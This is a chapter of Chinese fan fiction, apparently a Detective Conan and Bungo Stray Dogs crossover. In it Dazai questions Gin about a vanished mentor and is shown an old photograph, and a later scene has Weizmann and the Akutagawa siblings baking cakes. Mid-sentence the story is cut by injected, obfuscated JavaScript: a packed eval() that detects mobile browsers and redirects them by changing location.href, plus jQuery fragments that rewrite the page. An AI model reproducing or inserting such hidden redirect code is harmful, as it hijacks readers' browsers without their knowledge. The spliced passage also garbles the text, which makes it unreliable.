73.073
作品:《关于学生过分厉害这件事》 073
房间内,伏特加紧紧盯着太宰治的一举一动。
本来还想出去偷听,见伏特加如此紧张的样子,太宰治也没了兴趣。
更何况他已经得到了自己想要的信息了,倒是有了一些恶趣味的想法。
“刚刚那个人也和我们首领见过面吗?”太宰治没太注意形象地坐在沙发上。
这处宅院内部装潢和外面的风格倒不是很搭,内部装潢得更为现代,比他想象的要更有生活气息。
“我不知道。”伏特加努力不看太宰治,语气也冷冰冰。
那就是见过咯。
“他们看起来好像关系很好。”太宰治又说。
伏特加没说话。那可是大哥的师父。他曾经看到一次男人指导黑泽阵,只一瞬间就变得心服口服。
看到伏特加眼里崇拜的光,太宰治挑了挑眉,拉长声音,“那个人是叫Touji吗?”
伏特加猛然看向太宰治,才意识到自己早就掉入了圈套之中了。
“伏特加。”
身后低沉的声音响起,伏特加忙扭过头,面露惭愧,“大哥。”
黑泽阵不在意地摆了摆手,看了眼淡定的太宰治。和甚尔说的差不多,伏特加在他面前不到两三句话就能抖落得一清二楚,甚至都不用开口说话。
怕是伏特加自己都不清楚是怎么透露出去的。
“森首领找了个好部下。”
“如果这是在夸我,那我接受这份赞美。”太宰治一手放在胸膛上,轻轻点头示意。
伏特加气的牙痒痒,又拿他没办法,只好尽量不去看他。
“找个房间睡,剩下的事明天再谈。”本来想把这个任务派给伏特加,想了想,黑泽阵还是决定自己来。
他吩咐伏特加去停车,自己则是带太宰治去后院。
太宰治见状嘴角撩起笑意,不忘冲伏特加挥了挥手,“真是辛苦你了。”
“走吧。”
后院只有走廊上亮着一排小夜灯,晚上的风携着冷意呼呼穿廊而过,太宰治裹紧身上的大衣,“这里只有Gin一个人住吗?”
一个人住在这么大的房子里,要是死了怕也没人知道吧。
“今晚伏特加也在这里。”黑泽阵看了他一眼,停下脚步,“这三个房间都可以睡,选一个。”
太宰治看向面前三个黑漆漆的房间,这从外面什么也看不出来,“我想都进去看看。”
黑泽阵微微颔首,看着太宰治一一打开房间的灯,将三个房间逛了一圈。
“是一模一样的配置啊。”太宰治无趣感慨道。这三个房间一个比一个新,倒是没什么密封很久的味道,看来是经常有人来打扫。
他瞥了眼黑泽阵。
看出来他在想什么,黑泽阵回:“我住在前院,有事电话联系。”
太宰治:“......”
真是密不透风。
“那我就睡这个房间吧。”他指向靠近前院的那间房。
黑泽阵点头,转身离开。
“还有,忘记说了。”
黑泽阵停下。
“晚安哦。”太宰治语气轻飘飘地说,比起祝福,更像是莫名的“诅咒”。
黑泽阵没说话。
太宰治安静地看着自己今晚要睡的房间,此刻后院内只有他一个人,他也懒得做出什么表情,面无表情地走进去。
他没脱大衣,直接倒在松软的床上。感觉到有些硌人,他从口袋里掏出枪放在自己身旁,自己则仰头看向天花板。
那个叫甚尔的男人和用靶子的人,或者说教黑泽阵用枪的人不是一个人。
甚至有可能那个人已经消失不在了。
会和森首领有什么关系吗。
今晚那个人对森鸥外的态度值得琢磨,太直接也太...没有丝毫的客气。
倒像是认识很久后一点儿也不见外。
房间里只能听到他自己的心跳和呼吸声,太宰治突然坐起来,拿枪对准对面的柜子。
一个人。
在森鸥外和黑泽阵之间绝对存在着一个神秘人。
想到神秘人,太宰治又缓缓放下枪。
或许是黑泽阵的头发,让他不自觉地想到了另一个人。连他都没有意识到自己不自觉出现在嘴角的笑。
他无声地念出对方的名字。
“等你决定为自己而来的那一天。”
为自己?
太宰治伸手抚摸自己的脸和那微微上扬的嘴角,将其抹平。
他有那种东西吗?
他将枪扔到床上,外面传来交谈声,声音很小,听不到什么有用的内容。
而后有人进了他旁边的房间,是伏特加。
又过了一个小时,前院传来了隔几分钟响起的枪声。
是黑泽阵在练枪。
精力真是充足,太宰治腹诽了几句,钻进被子里。他没有拉住窗帘,月光透过拉门落在地上。
这个地方很像他不想承认的家。
应该说是津岛修治的家。
老派、古板,让人无法入睡,每晚都在想自杀的边缘。
他闭上眼睛,枪声仿佛就在耳边,思绪仍是一片清静。
早上四点左右,前院安静了半个小时。
另一个房间里伏特加的鼾声倒是没停,睡得是真香。太宰治睁眼,双眼清明,丝毫没有入睡的痕迹。
他装上枪,动作尽可能轻地推开拉门。
冬日的天亮得很慢,只有东侧的天蒙蒙亮,走廊的灯也亮着。
前院有个房间上了外锁,他一进门就看到了那件房。不用直觉就知道,那里面绝对藏了一些东西,而且绝对是自己想知道的东西。
他一脚刚迈进前院,下意识皱起眉头。
“我看到你了。”黑泽阵坐在走廊边,看了眼那仅仅探出来一点儿的脚尖。
太宰治双手插兜,神色平静,慢慢走了出来,“伏特加实在是吵得让人睡不着。”
他低头看了眼那散落一地密密麻麻的弹壳,没发表意见。
黑泽阵自然也听到了伏特加的声音,远离市区的房子最大的好处就是安静,安静到什么声音都能听到。
“只有这个吗?”
太宰治挑挑眉,歪头看他,手放在扳机上,“什么意思?”
黑泽阵意有所指瞥了眼他放在枪的口袋,又低头将自己的枪拆开又安上,“要是还想睡,前院那个房间还空着。”他指了指左边一个房间。
那是禅院甚尔有时候留宿时睡的地方,只不过他现在也不常留宿。
太宰治怀疑地看了黑泽阵一眼,再次确认哪怕是他故意挑起矛盾,黑泽阵也没有丝毫杀心。
为什么?
太宰治信步走到距离黑泽阵有两米远的地方,“Gin可真是个好人。”
黑泽阵闻言冷笑了一声,本想说还是第一次有人这么说,意识到有人已经说过了。
“你该谢谢森鸥外。”
森鸥外还真是救过黑泽阵的命?
太宰治脸色有些古怪,“你和首领的关系比我想象的还要好。”
黑泽阵将枪瞄准靶子,将其放在一边。
和森鸥外关系好?
“你想多了,我和他没什么关系。”
“啊,这就奇怪了,和我听到的传闻不太一样。”太宰治丝毫没有尴尬地眨了眨眼,一副倾听的模样。
他可不信没什么关系,还能这么耗费财力物力的帮助陌生人。
太宰治自觉不是什么好心人,也觉得黑泽阵不是什么好心人。
黑泽阵哪里听不出来太宰治的言下之意。
当初老师让他和夏目漱石好好合作,后来夏目漱石将这份事交代给了森鸥外。
“是因为...神秘人吗?”太宰治又问。
黑泽阵猛的看他,眼神凌厉。
这次太宰治是真的实实在在感觉到杀意了。
他笑着举起双手,“只是我猜的。”
只不过看起来确实猜对了,也不知道森鸥外的面子还有没有用了。
黑泽阵很快收敛表情,下了逐客令,“今天签了字就走。”
“那个人是消失了吗?”太宰治语气飞快,迅速说完了这句话。
黑泽阵骤然站起来拿枪对准了太宰治。
天色将明未明,安静的宅院里伏特加的鼾声倒是刺耳。
“或许我能帮你找到他。”太宰治冷静回道。只要那个人不死,还在日本,他就有可能做到。
黑泽阵依旧拿枪对着他,挑了挑眉,“条件呢?”
“条件?”
没想到黑泽阵这么快就同意了,太宰治也不得不重视那个神秘人在黑泽阵心中的重量。
人类还真是感情动物,就连这么冷静的人都会被这些因素影响。
“我还没想好,不过绝对是你能做到的事,也不会让你为难。”
黑泽阵缓缓放下了枪,“跟我来。”
太宰治咬了咬嘴唇,跟上黑泽阵的脚步。想到神秘人就在眼前,他的脚步也轻快起来。
他跟着黑泽阵进了书房。
黑泽阵走到一处书柜前,极为自然的从一本德文书旁掏出了一张相片。
他低头看了眼手里的照片,将其递给了太宰治,“中间那个人。”
太宰治接过来。
那是一张摸起来就很年代感的照片。照片里站着三个人。
左边是一个成熟男人,下巴微敛,气定神闲却又有些不耐地看向镜头,很有气质却也有距离感。
右边是还未成年时的黑泽阵,彼时还是寸头,眼神不驯地看向镜头。
中间那个人?
太宰治垂眸,目光定定地落在中间那个人的脸上。
那些对方对他说的话不断从自己的耳边响起,甚至昨晚他还想着照片上这个人。
黑泽阵不太抱希望,双手环胸,“你见过这个人吗?”
太宰治脸色平静,将照片递给黑泽阵,摇了摇头,“没有,不过我会尽力试试。”
黑泽阵收回照片,又将其放在原来的位置。
“这件
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176924|145033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事首领知道吗?”太宰治又问。
黑泽阵微微颔首,没什么说话的兴趣,“把协议签了,你就可以回去交差了。”
黑泽阵拿文件的时候,太宰治又隐晦地看了眼那张照片的方向,而后收回目光,无事发生地在文件上流畅地签下名字。
天刚亮,黑泽阵就派人将太宰治送回横滨,自己则坐在书房里,反复琢磨着太宰治刚刚一系列的动作和表情,神色不明。
等到伏特加中午迷迷糊糊醒来才发现家里只有他和大哥两个人,甚至都没怎么听到黑泽阵昨晚练枪的声音。
“这么大的院子,他是怎么听到的?”伏特加低头收拾院子里的枪壳,看了眼通往后院的走廊。
这里都是后来又做的隔音措施,昨晚他一点儿都没听到声音。
黑泽阵穿上西装的手一顿,“他是异能力者。”
异能力者的身体素质都异于常人,更不用说那人警惕的性格,怕是一晚上都没睡。
“大哥说得是,差点儿忘了横滨一堆有异能力的人了。”
说者无心,听者有意。
从威兹曼走之后,黑泽阵就逐渐意识到了发生在自己身体上的变化。
他不动声色道:“过两天去趟横滨。”
森鸥外应该是有什么事瞒着自己。
丝毫不清楚发生了什么,也没有反对意见,伏特加应了一声。
--------------
威兹曼和芥川龙之介的做蛋糕事业终于开始起步。
在家里练习两天后,终于做出了形状和网上的图片差不多的杯子蛋糕,只不过味道什么的,倒是有些没有保障。
知道他们在做什么后,芥川银直接加入其中。这是她要参加的文化节,自然不能只让老师和哥哥两个人忙。
更何况,还有诊所需要开。
周六早上,看到一大早又在尝试新的蛋糕类型,还一人穿了件围裙的威兹曼两人,芥川银疑惑问:“今天不用去诊所吗?”
威兹曼两手从面粉中腾出来,“那个...诊所啊,最近人比较少,停两天休息。”
事实是在把账单给森鸥外后的第二天,就有人来送钱了。
是上个世界见到的熟人,威兹曼有些印象,对方脾气也很好,直接将装钱的两个行李箱放在桌子上。
芥川龙之介看了眼这装了满满两行李箱的钱。
是不是有些太多了?
他们开的也不是黑店,药物的标价也都是正常的价格。
中原中也也面露不解,一个小诊所,这是治什么病,才能一个月这么多钱?
他记得他们组织也有免费的医院啊。
倒是威兹曼十分淡定地合上行李箱,对送钱的中原中也说了声谢谢。
这钱多吗?
想想每年森鸥外从和阵合作那里拿到的钱,威兹曼都觉得算是小数目了。
那要不然森鸥外怎么会这么心虚。
账结完了,还有几天到月末,正是休息的好时间。
再加上威兹曼过几天想回东京,正好趁这几天时间陪陪芥川兄妹,只不过还没有找到合适的理由。
芥川银愣了两秒,“诊所还有休息的时间吗?”
医院不都是每天开门吗?
“银,要来做蛋糕吗?”芥川龙之介咳了一声,转移了话题。
“我怕做得不好。”
芥川银很少在厨房,大部分时间都是威兹曼和芥川龙之介两个人在厨房里转来转去。甚至每次她想进厨房,也都会被这两人赶出去。
“小银是家里唯一的学生,安心学习就好,就不用操心厨房里的事了,偶尔帮帮忙就很好。”两个人一致说道。
芥川银无奈,知道两个人都在以自己的方式呵护她。所以她也会尽力在其他家务上面尽自己的一份力。
“这有什么担心的,小银不知道吧,做蛋糕第一天,我和龙之介把蛋糕搞得邦邦硬,小咪还以为那是给它准备的枕头呢。”
威兹曼一手扶着流理台,笑意轻松,看了眼正跳上流理台的猫。
一旁的小咪抗议地“喵”了一声,坐稳了身体。
那还不是因为威兹曼把那蛋糕放在了他的猫窝里。
黑乎乎的一块,和枕头也没什么两样。
芥川银见状点点头,接过新买的围裙,也加入了做蛋糕的队伍。
三人分工合作,各做各的任务,有些手忙脚乱,但好在威兹曼和芥川龙之介也学了几天,最后成功做出了一个看起来没有任何问题的蛋糕胚。
威兹曼摘下手套,就见芥川兄妹好奇地看着蛋糕胚,两个人谁也没动作。
觉得可爱,他先拍了张照片才收回手机。
“应该可以吃。”
起码看起来和正常的蛋糕没什么区别。
见两个人看自己,威兹曼撕下一小块。
触感十分柔软,散发着好闻的香气,他甚至没犹豫,直接放到了小咪的面前,“要尝尝吗?”
夏目漱石:“???”
把他当什么整呢?